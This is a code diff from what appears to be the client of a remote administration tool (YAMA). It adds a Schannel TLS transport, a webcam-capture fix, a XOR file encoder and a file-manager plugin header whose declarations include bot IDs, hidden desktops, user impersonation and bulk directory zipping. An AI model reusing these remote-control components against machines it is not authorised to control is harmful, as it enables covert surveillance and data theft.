m_raw.erase(m_raw.begin(), m_raw.begin() + consumed);
|
||||
|
||||
if (!m_pending.empty()) {
|
||||
int n = (int)m_pending.size() < outLen ? (int)m_pending.size() : outLen;
|
||||
memcpy(out, m_pending.data(), n);
|
||||
m_pending.erase(m_pending.begin(), m_pending.begin() + n);
|
||||
return n;
|
||||
}
|
||||
// 无明文的记录(如 alert/CCS):继续循环解下一条
|
||||
}
|
||||
|
||||
int r = recv(sock, raw, sizeof(raw), 0);
|
||||
if (r == SOCKET_ERROR)
|
||||
return SOCKET_ERROR;
|
||||
if (r == 0)
|
||||
return 0; // 对端关闭(此时无 pending,且 m_raw 已解完/为空)
|
||||
m_raw.insert(m_raw.end(), (BYTE*)raw, (BYTE*)raw + r);
|
||||
// 循环回顶部,解密刚收到的字节
|
||||
}
|
||||
}
|
||||
|
||||
int TlsChannel::Send(SOCKET sock, const char* data, int len)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> lk(m_ctxMtx);
|
||||
if (!m_ready)
|
||||
return SOCKET_ERROR;
|
||||
if (len <= 0)
|
||||
return 0;
|
||||
|
||||
ULONG maxMsg = m_sizes.cbMaximumMessage > 0 ? m_sizes.cbMaximumMessage : 16384;
|
||||
int total = 0;
|
||||
while (total < len) {
|
||||
int chunk = (len - total > (int)maxMsg) ? (int)maxMsg : (len - total);
|
||||
|
||||
std::vector<BYTE> rec(m_sizes.cbHeader + chunk + m_sizes.cbTrailer);
|
||||
BYTE* hdr = rec.data();
|
||||
BYTE* body = hdr + m_sizes.cbHeader;
|
||||
BYTE* trailer = body + chunk;
|
||||
memcpy(body, data + total, chunk);
|
||||
|
||||
SecBuffer bufs[4] = {
|
||||
{ m_sizes.cbHeader, SECBUFFER_STREAM_HEADER, hdr },
|
||||
{ (ULONG)chunk, SECBUFFER_DATA, body },
|
||||
{ m_sizes.cbTrailer, SECBUFFER_STREAM_TRAILER, trailer },
|
||||
{ 0, SECBUFFER_EMPTY, NULL },
|
||||
};
|
||||
SecBufferDesc desc = { SECBUFFER_VERSION, 4, bufs };
|
||||
SECURITY_STATUS sc = EncryptMessage(&m_ctx, 0, &desc, 0);
|
||||
if (FAILED(sc)) {
|
||||
return total > 0 ? total : SOCKET_ERROR;
|
||||
}
|
||||
|
||||
int wireLen = bufs[0].cbBuffer + bufs[1].cbBuffer + bufs[2].cbBuffer;
|
||||
if (!SendAll(sock, rec.data(), wireLen)) {
|
||||
return total > 0 ? total : SOCKET_ERROR;
|
||||
}
|
||||
total += chunk;
|
||||
}
|
||||
return total;
|
||||
}
|
||||
|
||||
#endif // _WIN32
|
||||
@@ -0,0 +1,94 @@
|
||||
// TlsChannel.h — Windows 客户端单向 TLS(Schannel)会话封装
|
||||
//
|
||||
// 用途:为 YAMA 客户端(被控端)提供「按需开启」的传输层加密。当信任锚证书存在时
|
||||
// (注册表 Software\<exehash>\settings\tls_cert,或 yama-ca.pem 文件,见 TlsChannel.cpp
|
||||
// 的 InitTls),所有出站 TCP 连接在应用协议首包前先完成 TLS 握手;握手失败一律断开
|
||||
// (fail-closed,不回退明文)。
|
||||
//
|
||||
// 选型:Schannel(Windows 原生 SSPI),零第三方依赖;secur32.lib / crypt32.lib 为
|
||||
// 系统库。单向 TLS:客户端只校验服务端证书链到固定的信任锚,不提供客户端证书,
|
||||
// 客户端身份仍由隧道内登录(V1 PwdHmac / V2 ECDSA)承担。
|
||||
//
|
||||
// 线程模型:Handshake 在连接建立线程上、m_bConnected 置位前调用;Send/Recv 分别在
|
||||
// 发送线程 / 接收线程上调用。上下文生命周期(Handshake/CloseHandles 释放 m_ctx)与
|
||||
// Send/Recv 对 m_ctx 的使用(EncryptMessage/DecryptMessage)由 m_ctxMtx 互斥,避免
|
||||
// 重连线程释放上下文时与使用线程产生 use-after-free。本对象作为 IOCPClient 的值成员
|
||||
// 存在,析构时释放上下文。
|
||||
//
|
||||
// 注意:本文件仅在 _WIN32 下有效,非 Windows 构建(Linux/macOS/Android)不含任何内容,
|
||||
// 客户端维持明文(TLS 接入按设计文档延后)。
|
||||
#pragma once
|
||||
|
||||
#ifdef _WIN32
|
||||
|
||||
#include <WinSock2.h>
|
||||
|
||||
#ifndef SECURITY_WIN32
|
||||
#define SECURITY_WIN32 1
|
||||
#endif
|
||||
#include <security.h>
|
||||
#include <schannel.h>
|
||||
|
||||
#include <mutex>
|
||||
#include <vector>
|
||||
|
||||
// 进程级 TLS 开关:首次调用时加载信任锚(注册表或文件),返回是否启用。线程安全、幂等。
|
||||
bool TlsEnabled();
|
||||
|
||||
// 信任锚已配置但加载失败(损坏/格式错误)时为 true:表示管理员已「颁发」证书,
|
||||
// 客户端必须拒绝连接(fail-closed),不得静默回退明文。线程安全、幂等。
|
||||
bool TlsLoadError();
|
||||
|
||||
class TlsChannel
|
||||
{
|
||||
public:
|
||||
TlsChannel() {}
|
||||
~TlsChannel() { CloseHandles(); }
|
||||
|
||||
// 持 Schannel 句柄,禁止拷贝/赋值(避免句柄被二次释放)。
|
||||
TlsChannel(const TlsChannel&) = delete;
|
||||
TlsChannel& operator=(const TlsChannel&) = delete;
|
||||
|
||||
// 在已连通的 socket 上完成 TLS 客户端握手并校验服务端证书链。失败返回 false,
|
||||
// 调用方必须关闭 socket(fail-closed)。可重复调用(重连时复用同一对象)。
|
||||
bool Handshake(SOCKET sock);
|
||||
|
||||
// 解密读取:返回 >0 的明文字节数;0 表示对端正常关闭;SOCKET_ERROR(-1) 出错。
|
||||
int Recv(SOCKET sock, char* buf, int len);
|
||||
|
||||
// 加密发送 len 字节:成功返回已完整发送的明文字节数(== len);失败返回已发送的
|
||||
// 前缀字节数(>0)或 SOCKET_ERROR(一个字节都没发出去时)。
|
||||
int Send(SOCKET sock, const char* buf, int len);
|
||||
|
||||
// 是否有待交付的数据:已解密明文(m_pending)或已缓冲但尚未解密的 TLS 记录(m_raw)。
|
||||
// 供接收线程在 select 前优先消费——select 只看底层 socket,看不到 Schannel 缓冲的
|
||||
// m_raw(握手时随 Finished 收下的首条应用数据、或一次 recv 到多条记录后的剩余),
|
||||
// 若这里不把 m_raw 也算作「有数据」,这些字节会被 select 卡住。
|
||||
bool HasPending() const { return !m_pending.empty() || !m_raw.empty(); }
|
||||
|
||||
// 握手是否已完成(Send/Recv 可用)。诊断用:区分「本连接已走 TLS」与「裸连接」。
|
||||
bool IsReady() const { return m_ready; }
|
||||
|
||||
private:
|
||||
void CloseHandles();
|
||||
bool SendAll(SOCKET sock, const void* data, int len);
|
||||
bool VerifyServerCert();
|
||||
|
||||
CredHandle m_cred = {};
|
||||
CtxtHandle m_ctx = {};
|
||||
bool m_credValid = false; // m_cred 已分配,需 FreeCredentialsHandle
|
||||
bool m_ctxValid = false; // m_ctx 已分配,需 DeleteSecurityContext
|
||||
bool m_ready = false; // 握手完成,Send/Recv 可用
|
||||
|
||||
SecPkgContext_StreamSizes m_sizes = {};
|
||||
|
||||
// 保护上下文生命周期:重连线程的 Handshake/CloseHandles(释放 m_ctx)与工作线程的
|
||||
// Recv(DecryptMessage)、发送线程的 Send(EncryptMessage)互斥,避免 use-after-free。
|
||||
// recursive 是因为 Handshake 内部会再调 CloseHandles。
|
||||
std::recursive_mutex m_ctxMtx;
|
||||
|
||||
std::vector<BYTE> m_raw; // 尚未解密 / 未消费完的 TLS 记录原始字节
|
||||
std::vector<BYTE> m_pending; // 已解密、未交付给应用层的明文
|
||||
};
|
||||
|
||||
#endif // _WIN32
|
||||
@@ -21,7 +21,7 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
|
||||
m_pVideoCodec = NULL;
|
||||
m_fccHandler = 1129730893;
|
||||
|
||||
m_CapVideo.Open(0,0); // 开启
|
||||
m_bVideoOpened = m_CapVideo.Open(0,0) == S_OK; // 开启
|
||||
lpBuffer = NULL;
|
||||
|
||||
m_hWorkThread = __CreateThread(NULL, 0, WorkThread, this, 0, NULL);
|
||||
@@ -31,6 +31,11 @@ CVideoManager::CVideoManager(IOCPClient* ClientObject, int n, void* user) : CMan
|
||||
DWORD CVideoManager::WorkThread(LPVOID lParam)
|
||||
{
|
||||
CVideoManager *This = (CVideoManager *)lParam;
|
||||
if (!This->m_bVideoOpened) {
|
||||
This->Destroy();
|
||||
return 0x20261013;
|
||||
}
|
||||
|
||||
static ULONGLONG dwLastScreen = GetTickCount64();
|
||||
|
||||
if (This->Initialize()) { //转到Initialize
|
||||
|
||||
@@ -25,6 +25,7 @@ public:
|
||||
|
||||
BOOL m_bIsWorking;
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL m_bVideoOpened;
|
||||
|
||||
void SendBitMapInfor();
|
||||
BOOL SendNextScreen();
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,152 @@
|
||||
#include <winsock2.h>
|
||||
#include <list>
|
||||
#include <string>
|
||||
#include "Manager.h"
|
||||
#include <sstream>
|
||||
#include "zip.h"
|
||||
|
||||
#pragma once
|
||||
#include <winioctl.h>
|
||||
typedef LONG NTSTATUS; // 仅声明 NTSTATUS;不引入 <winternl.h>,避免 STRING/UNICODE_STRING/OBJ_CASE_INSENSITIVE/FILE_OPEN 等宏与本地命名冲突
|
||||
#include "MasterEncoder.h"
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
typedef struct {
|
||||
UINT nFileSize; // 文件大小
|
||||
UINT nSendSize; // 已发送大小
|
||||
} SENDFILEPROGRESS, * PSENDFILEPROGRESS;
|
||||
|
||||
typedef struct {
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
BOOL error;
|
||||
} FILESIZE;
|
||||
|
||||
|
||||
typedef struct {
|
||||
TCHAR SearchFileName[MAX_PATH];
|
||||
TCHAR SearchPath[MAX_PATH];
|
||||
BOOL bEnabledSubfolder;
|
||||
} FILESEARCH;
|
||||
|
||||
|
||||
typedef struct {
|
||||
BYTE Token;
|
||||
int w,h,size;
|
||||
} FILEPICINFO;
|
||||
|
||||
|
||||
struct SEARCH {
|
||||
TCHAR TC_disk[8];
|
||||
TCHAR TC_search[MAX_PATH];
|
||||
};
|
||||
|
||||
typedef struct _IO_STATUS_BLOCK {
|
||||
union {
|
||||
NTSTATUS Status;
|
||||
PVOID Pointer;
|
||||
};
|
||||
ULONG_PTR Information;
|
||||
} IO_STATUS_BLOCK, * PIO_STATUS_BLOCK;
|
||||
|
||||
typedef struct _FILE_NAME_INFORMATION {
|
||||
ULONG FileNameLength;
|
||||
WCHAR FileName[MAX_PATH];
|
||||
} FILE_NAME_INFORMATION;
|
||||
|
||||
typedef LONG(__stdcall* ZwQueryInformationFile) (
|
||||
IN HANDLE FileHandle,
|
||||
OUT PIO_STATUS_BLOCK IoStatusBlock,
|
||||
OUT PVOID FileInformation,
|
||||
IN ULONG FileInformationLength,
|
||||
IN ULONG FileInformationClass
|
||||
);
|
||||
|
||||
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr);
|
||||
|
||||
class CFileManager : public CManager
|
||||
{
|
||||
public:
|
||||
MasterEncoder m_encoder;
|
||||
DWORD dwRet;
|
||||
void OnReceive(LPBYTE lpBuffer, ULONG nSize);
|
||||
UINT SendDriveList();
|
||||
CFileManager(ISocketBase* pClient, int n, void* user);
|
||||
virtual ~CFileManager();
|
||||
private:
|
||||
LPBYTE lpSendPacket;
|
||||
std::list <std::string> m_UploadList;
|
||||
BOOL m_bIsWow64;
|
||||
UINT m_nTransferMode;
|
||||
HANDLE m_hFileSend;
|
||||
HANDLE m_hFileRecv;
|
||||
TCHAR m_strCurrentProcessFileName[MAX_PATH]; // 当前正在处理的文件
|
||||
__int64 m_nCurrentProcessFileLength; // 当前正在处理的文件的长度
|
||||
bool benofrce;
|
||||
TCHAR* copyfile;
|
||||
HANDLE ImpersonateLoggedOnUserWrapper();
|
||||
bool MakeSureDirectoryPathExists(LPCTSTR pszDirPath);
|
||||
bool UploadToRemote(LPBYTE lpBuffer);
|
||||
bool FixedUploadList(LPCTSTR lpszDirectory);
|
||||
void StopTransfer(BOOL bIsUpload);
|
||||
UINT SendFilesList(TCHAR* lpszDirectory);
|
||||
bool DeleteDirectory(LPCTSTR lpszDirectory);
|
||||
UINT SendFileSize(LPCTSTR lpszFileName);
|
||||
void SendFileData(LPBYTE lpBuffer);
|
||||
void CreateFolder(LPBYTE lpBuffer);
|
||||
void Rename(LPBYTE lpBuffer);
|
||||
int SendToken(BYTE bToken);
|
||||
|
||||
void CreateLocalRecvFile(LPBYTE lpBuffer);
|
||||
void SetTransferMode(LPBYTE lpBuffer);
|
||||
void GetFileData();
|
||||
void WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize);
|
||||
void UploadNext();
|
||||
BOOL OpenFile(LPCTSTR lpFile, INT nShowCmd);
|
||||
void ExeCompress(BYTE* lpBuffer);
|
||||
void SendSearchData(LPBYTE lpBuffer);
|
||||
BOOL GetVolumeNameByHandle(HANDLE hFile, char* szFullPath);
|
||||
void GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber);
|
||||
|
||||
protected:
|
||||
HANDLE m_hWorkThread;
|
||||
BOOL bIsStopSearch;
|
||||
FILESEARCH filesearch;
|
||||
|
||||
void StopSearchTheard();
|
||||
void SendSearchFilesList(LPCTSTR str);
|
||||
static void WINAPI FindFileThread(LPVOID lparam);
|
||||
void FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder);
|
||||
TCHAR g_desktopName[MAX_PATH];
|
||||
ULONG PseudoRand(ULONG* seed);
|
||||
void GetBotId(TCHAR* botId);
|
||||
HDESK g_hDesk;;
|
||||
bool getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath);
|
||||
void SendNetHood(); //发送共享文件目录
|
||||
void encfile(char* in_filename);
|
||||
void decryptfile(char* in_filename);
|
||||
bool FnDelPathFile(TCHAR* tc_path);
|
||||
|
||||
TCHAR* zippath_t;
|
||||
HANDLE m_hWorkZIPThread;
|
||||
BOOL bIsStopZIP;
|
||||
void StopZIPTheard();
|
||||
void StartZIP();
|
||||
static void WINAPI FindZIPThread(LPVOID lparam);
|
||||
void FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz,int pathlen);
|
||||
|
||||
//info
|
||||
void SendFileInfo(TCHAR* filepath,TCHAR * type);
|
||||
bool ResizePicture(TCHAR* strSource);
|
||||
|
||||
TCHAR* volName; // 驱动盘名称
|
||||
TCHAR* tc_search; // 搜索关键词
|
||||
HANDLE hVol; // 用于储存驱动盘句柄
|
||||
USN_JOURNAL_DATA UsnInfo; // 用于储存USN日志的基本信息
|
||||
long counter;
|
||||
LPBYTE lpBuffer;
|
||||
char* c_pathname;
|
||||
};
|
||||
|
||||
}
|
||||
@@ -0,0 +1,162 @@
|
||||
#include "StdAfx.h"
|
||||
#include "MasterEncoder.h"
|
||||
#include <fstream>
|
||||
#include <string>
|
||||
#include <iostream>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
MasterEncoder::MasterEncoder()
|
||||
{
|
||||
_codeKey = 100;
|
||||
_sign = nullptr;
|
||||
_signLen = 0;
|
||||
}
|
||||
|
||||
MasterEncoder::~MasterEncoder()
|
||||
{
|
||||
SAFE_DELETE_AR(_sign);
|
||||
}
|
||||
|
||||
void MasterEncoder::setSignAndKey(char* sign, int signLen, unsigned char key)
|
||||
{
|
||||
if (sign && signLen) {
|
||||
_signLen = signLen;
|
||||
SAFE_DELETE_AR(_sign);
|
||||
_sign = new char[signLen];
|
||||
if (_sign) {
|
||||
memcpy(_sign, sign, signLen);
|
||||
} else {
|
||||
Mprintf("setSignAndKey Failed!\n");
|
||||
}
|
||||
}
|
||||
_codeKey = key;
|
||||
}
|
||||
|
||||
void MasterEncoder::encode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
void MasterEncoder::decode(unsigned char* data, long size)
|
||||
{
|
||||
for (long i = 0; i < size; i++) {
|
||||
data[i] ^= _codeKey;
|
||||
}
|
||||
}
|
||||
|
||||
unsigned char* MasterEncoder::readPDF(const std::string& filepath, long& size)
|
||||
{
|
||||
std::ifstream ifs;
|
||||
ifs.open(filepath, std::ios::in | std::ios::binary);
|
||||
|
||||
if (!ifs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filepath.c_str());
|
||||
return nullptr;
|
||||
}
|
||||
|
||||
ifs.seekg(0, std::ios_base::end);
|
||||
size =(long) ifs.tellg();
|
||||
ifs.seekg(0, std::ios_base::beg);
|
||||
unsigned char* data = new unsigned char[size];
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ifs.read((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
|
||||
Mprintf("read PDF size = %d\n", size);
|
||||
|
||||
ifs.close();
|
||||
|
||||
return data;
|
||||
}
|
||||
|
||||
void MasterEncoder::writePDF(const std::string& filePath, unsigned char* data, long size)
|
||||
{
|
||||
std::ofstream ofs;
|
||||
ofs.open(filePath, std::ios::out | std::ios::trunc | std::ios::binary);
|
||||
|
||||
if (!ofs.is_open()) {
|
||||
Mprintf("文件打开失败: %s\n", filePath.c_str());
|
||||
return;
|
||||
}
|
||||
|
||||
long count = 0;
|
||||
while (count < size) {
|
||||
ofs.write((char*)&data[count], sizeof(unsigned char));
|
||||
count++;
|
||||
}
|
||||
Mprintf("save PDF size = %d\n", size);
|
||||
ofs.close();
|
||||
}
|
||||
|
||||
void MasterEncoder::encodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
//判断是否已经加密过
|
||||
if (memcmp(data, _sign, _signLen) == 0) {
|
||||
Mprintf("加密过了, 直接保存: %s\n", pdfPath.c_str());
|
||||
writePDF(savePath, data, size);
|
||||
} else {
|
||||
encode(data, size);
|
||||
|
||||
if (_signLen > 0) {
|
||||
unsigned char* p = new unsigned char[size + _signLen];
|
||||
memcpy(p, _sign, _signLen);
|
||||
memcpy(p + _signLen, data, size);
|
||||
|
||||
writePDF(savePath, p, size + _signLen);
|
||||
|
||||
delete[] p;
|
||||
} else {
|
||||
writePDF(savePath, data, size);
|
||||
}
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
void MasterEncoder::decodePDF(const std::string& pdfPath, const std::string& savePath)
|
||||
{
|
||||
long size = 0;
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
writePDF(savePath, data, size);
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
unsigned char* p = (data + _signLen);
|
||||
decode(p, size - _signLen);
|
||||
writePDF(savePath, p, size - _signLen);
|
||||
} else {
|
||||
Mprintf("解密失败: %s\n", pdfPath.c_str());
|
||||
}
|
||||
|
||||
delete[] data;
|
||||
}
|
||||
|
||||
unsigned char* MasterEncoder::decode(const std::string& pdfPath, long& size)
|
||||
{
|
||||
unsigned char* data = readPDF(pdfPath, size);
|
||||
|
||||
if (_signLen == 0) {
|
||||
decode(data, size);
|
||||
return data;
|
||||
} else if (memcmp(data, _sign, _signLen) == 0) {
|
||||
size -= _signLen;
|
||||
unsigned char* p = new unsigned char[size];
|
||||
memcpy(p, data + _signLen, size);
|
||||
decode(p, size);
|
||||
delete[] data;
|
||||
return p;
|
||||
} else {
|
||||
return data;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,32 @@
|
||||
#pragma once
|
||||
|
||||
#include <string>
|
||||
|
||||
namespace SimplePluginsFile {
|
||||
|
||||
class MasterEncoder
|
||||
{
|
||||
public:
|
||||
MasterEncoder();
|
||||
~MasterEncoder();
|
||||
|
||||
void setSignAndKey(char* sign, int signLen, unsigned char key);
|
||||
|
||||
void decode(unsigned char* data, long size);
|
||||
void encode(unsigned char* data, long size);
|
||||
|
||||
void writePDF(const std::string& filePath, unsigned char* data, long size);
|
||||
unsigned char* readPDF(const std::string& filepath, long& size);
|
||||
|
||||
public:
|
||||
void encodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
void decodePDF(const std::string& pdfPath, const std::string& savePath);
|
||||
unsigned char* decode(const std::string& pdfPath, long& size);
|
||||
|
||||
private:
|
||||
unsigned char _codeKey;
|
||||
char* _sign;
|
||||
int _signLen;
|
||||
};
|
||||
|
||||
}
|
||||
+2911
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,207 @@
|
||||
//
|
||||
//http://www.codeproject.com/KB/files/zip_utils.aspx
|
||||
//
|
||||
|
||||
#ifndef _zip_H
|
||||
#define _zip_H
|
||||
|
||||
|
||||
// ZIP functions -- for creating zip files
|
||||
// This file is a repackaged form of the Info-Zip source code available
|
||||
// at www.info-zip.org. The original copyright notice may be found in
|
||||
// zip.cpp. The repackaging was done by Lucian Wischik to simplify and
|
||||
// extend its use in Windows/C++. Also to add encryption and unicode.
|
||||
|
||||
|
||||
#ifndef _unzip_H
|
||||
DECLARE_HANDLE(HZIP);
|
||||
#endif
|
||||
// An HZIP identifies a zip file that is being created
|
||||
|
||||
typedef DWORD ZRESULT;
|
||||
// return codes from any of the zip functions. Listed later.
|
||||
|
||||
|
||||
|
||||
HZIP CreateZip(const TCHAR* fn, const char* password);
|
||||
HZIP CreateZip(void* buf, unsigned int len, const char* password);
|
||||
HZIP CreateZipHandle(HANDLE h, const char* password);
|
||||
// CreateZip - call this to start the creation of a zip file.
|
||||
// As the zip is being created, it will be stored somewhere:
|
||||
// to a pipe: CreateZipHandle(hpipe_write);
|
||||
// in a file (by handle): CreateZipHandle(hfile);
|
||||
// in a file (by name): CreateZip("c:\\test.zip");
|
||||
// in memory: CreateZip(buf, len);
|
||||
// or in pagefile memory: CreateZip(0, len);
|
||||
// The final case stores it in memory backed by the system paging file,
|
||||
// where the zip may not exceed len bytes. This is a bit friendlier than
|
||||
// allocating memory with new[]: it won't lead to fragmentation, and the
|
||||
// memory won't be touched unless needed. That means you can give very
|
||||
// large estimates of the maximum-size without too much worry.
|
||||
// As for the password, it lets you encrypt every file in the archive.
|
||||
// (This api doesn't support per-file encryption.)
|
||||
// Note: because pipes don't allow random access, the structure of a zipfile
|
||||
// created into a pipe is slightly different from that created into a file
|
||||
// or memory. In particular, the compressed-size of the item cannot be
|
||||
// stored in the zipfile until after the item itself. (Also, for an item added
|
||||
// itself via a pipe, the uncompressed-size might not either be known until
|
||||
// after.) This is not normally a problem. But if you try to unzip via a pipe
|
||||
// as well, then the unzipper will not know these things about the item until
|
||||
// after it has been unzipped. Therefore: for unzippers which don't just write
|
||||
// each item to disk or to a pipe, but instead pre-allocate memory space into
|
||||
// which to unzip them, then either you have to create the zip not to a pipe,
|
||||
// or you have to add items not from a pipe, or at least when adding items
|
||||
// from a pipe you have to specify the length.
|
||||
// Note: for windows-ce, you cannot close the handle until after CloseZip.
|
||||
// but for real windows, the zip makes its own copy of your handle, so you
|
||||
// can close yours anytime.
|
||||
|
||||
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, const TCHAR* fn);
|
||||
ZRESULT ZipAdd(HZIP hz, const TCHAR* dstzn, void* src, unsigned int len);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h);
|
||||
ZRESULT ZipAddHandle(HZIP hz, const TCHAR* dstzn, HANDLE h, unsigned int len);
|
||||
ZRESULT ZipAddFolder(HZIP hz, const TCHAR* dstzn);
|
||||
// ZipAdd - call this for each file to be added to the zip.
|
||||
// dstzn is the name that the file will be stored as in the zip file.
|
||||
// The file to be added to the zip can come
|
||||
// from a pipe: ZipAddHandle(hz,"file.dat", hpipe_read);
|
||||
// from a file: ZipAddHandle(hz,"file.dat", hfile);
|
||||
// from a filen: ZipAdd(hz,"file.dat", "c:\\docs\\origfile.dat");
|
||||
// from memory: ZipAdd(hz,"subdir\\file.dat", buf,len);
|
||||
// (folder): ZipAddFolder(hz,"subdir");
|
||||
// Note: if adding an item from a pipe, and if also creating the zip file itself
|
||||
// to a pipe, then you might wish to pass a non-zero length to the ZipAddHandle
|
||||
// function. This will let the zipfile store the item's size ahead of the
|
||||
// compressed item itself, which in turn makes it easier when unzipping the
|
||||
// zipfile from a pipe.
|
||||
|
||||
ZRESULT ZipGetMemory(HZIP hz, void** buf, unsigned long* len);
|
||||
// ZipGetMemory - If the zip was created in memory, via ZipCreate(0,len),
|
||||
// then this function will return information about that memory block.
|
||||
// buf will receive a pointer to its start, and len its length.
|
||||
// Note: you can't add any more after calling this.
|
||||
|
||||
ZRESULT CloseZip(HZIP hz);
|
||||
// CloseZip - the zip handle must be closed with this function.
|
||||
|
||||
unsigned int FormatZipMessage(ZRESULT code, TCHAR* buf, unsigned int len);
|
||||
// FormatZipMessage - given an error code, formats it as a string.
|
||||
// It returns the length of the error message. If buf/len points
|
||||
// to a real buffer, then it also writes as much as possible into there.
|
||||
|
||||
|
||||
|
||||
// These are the result codes:
|
||||
#define ZR_OK 0x00000000 // nb. the pseudo-code zr-recent is never returned,
|
||||
#define ZR_RECENT 0x00000001 // but can be passed to FormatZipMessage.
|
||||
// The following come from general system stuff (e.g. files not openable)
|
||||
#define ZR_GENMASK 0x0000FF00
|
||||
#define ZR_NODUPH 0x00000100 // couldn't duplicate the handle
|
||||
#define ZR_NOFILE 0x00000200 // couldn't create/open the file
|
||||
#define ZR_NOALLOC 0x00000300 // failed to allocate some resource
|
||||
#define ZR_WRITE 0x00000400 // a general error writing to the file
|
||||
#define ZR_NOTFOUND 0x00000500 // couldn't find that file in the zip
|
||||
#define ZR_MORE 0x00000600 // there's still more data to be unzipped
|
||||
#define ZR_CORRUPT 0x00000700 // the zipfile is corrupt or not a zipfile
|
||||
#define ZR_READ 0x00000800 // a general error reading the file
|
||||
// The following come from mistakes on the part of the caller
|
||||
#define ZR_CALLERMASK 0x00FF0000
|
||||
#define ZR_ARGS 0x00010000 // general mistake with the arguments
|
||||
#define ZR_NOTMMAP 0x00020000 // tried to ZipGetMemory, but that only works on mmap zipfiles, which yours wasn't
|
||||
#define ZR_MEMSIZE 0x00030000 // the memory size is too small
|
||||
#define ZR_FAILED 0x00040000 // the thing was already failed when you called this function
|
||||
#define ZR_ENDED 0x00050000 // the zip creation has already been closed
|
||||
#define ZR_MISSIZE 0x00060000 // the indicated input file size turned out mistaken
|
||||
#define ZR_PARTIALUNZ 0x00070000 // the file had already been partially unzipped
|
||||
#define ZR_ZMODE 0x00080000 // tried to mix creating/opening a zip
|
||||
// The following come from bugs within the zip library itself
|
||||
#define ZR_BUGMASK 0xFF000000
|
||||
#define ZR_NOTINITED 0x01000000 // initialisation didn't work
|
||||
#define ZR_SEEK 0x02000000 // trying to seek in an unseekable file
|
||||
#define ZR_NOCHANGE 0x04000000 // changed its mind on storage, but not allowed
|
||||
#define ZR_FLATE 0x05000000 // an internal error in the de/inflation code
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
// e.g.
|
||||
//
|
||||
// (1) Traditional use, creating a zipfile from existing files
|
||||
// HZIP hz = CreateZip("c:\\simple1.zip",0);
|
||||
// ZipAdd(hz,"znsimple.bmp", "c:\\simple.bmp");
|
||||
// ZipAdd(hz,"znsimple.txt", "c:\\simple.txt");
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (2) Memory use, creating an auto-allocated mem-based zip file from various sources
|
||||
// HZIP hz = CreateZip(0,100000, 0);
|
||||
// // adding a conventional file...
|
||||
// ZipAdd(hz,"src1.txt", "c:\\src1.txt");
|
||||
// // adding something from memory...
|
||||
// char buf[1000]; for (int i=0; i<1000; i++) buf[i]=(char)(i&0x7F);
|
||||
// ZipAdd(hz,"file.dat", buf,1000);
|
||||
// // adding something from a pipe...
|
||||
// HANDLE hread,hwrite; CreatePipe(&hread,&hwrite,NULL,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ThreadFunc,(void*)hwrite,0,0);
|
||||
// ZipAdd(hz,"unz3.dat", hread,1000); // the '1000' is optional.
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread); CloseHandle(hread);
|
||||
// ... meanwhile DWORD WINAPI ThreadFunc(void *dat)
|
||||
// { HANDLE hwrite = (HANDLE)dat;
|
||||
// char buf[1000]={17};
|
||||
// DWORD writ; WriteFile(hwrite,buf,1000,&writ,NULL);
|
||||
// CloseHandle(hwrite);
|
||||
// return 0;
|
||||
// }
|
||||
// // and now that the zip is created, let's do something with it:
|
||||
// void *zbuf; unsigned long zlen; ZipGetMemory(hz,&zbuf,&zlen);
|
||||
// HANDLE hfz = CreateFile("test2.zip",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
|
||||
// DWORD writ; WriteFile(hfz,zbuf,zlen,&writ,NULL);
|
||||
// CloseHandle(hfz);
|
||||
// CloseZip(hz);
|
||||
//
|
||||
// (3) Handle use, for file handles and pipes
|
||||
// HANDLE hzread,hzwrite; CreatePipe(&hzread,&hzwrite,0,0);
|
||||
// HANDLE hthread = CreateThread(0,0,ZipReceiverThread,(void*)hzread,0,0);
|
||||
// HZIP hz = CreateZipHandle(hzwrite,0);
|
||||
// // ... add to it
|
||||
// CloseZip(hz);
|
||||
// CloseHandle(hzwrite);
|
||||
// WaitForSingleObject(hthread,INFINITE);
|
||||
// CloseHandle(hthread);
|
||||
// ... meanwhile DWORD WINAPI ZipReceiverThread(void *dat)
|
||||
// { HANDLE hread = (HANDLE)dat;
|
||||
// char buf[1000];
|
||||
// while (true)
|
||||
// { DWORD red; ReadFile(hread,buf,1000,&red,NULL);
|
||||
// // ... and do something with this zip data we're receiving
|
||||
// if (red==0) break;
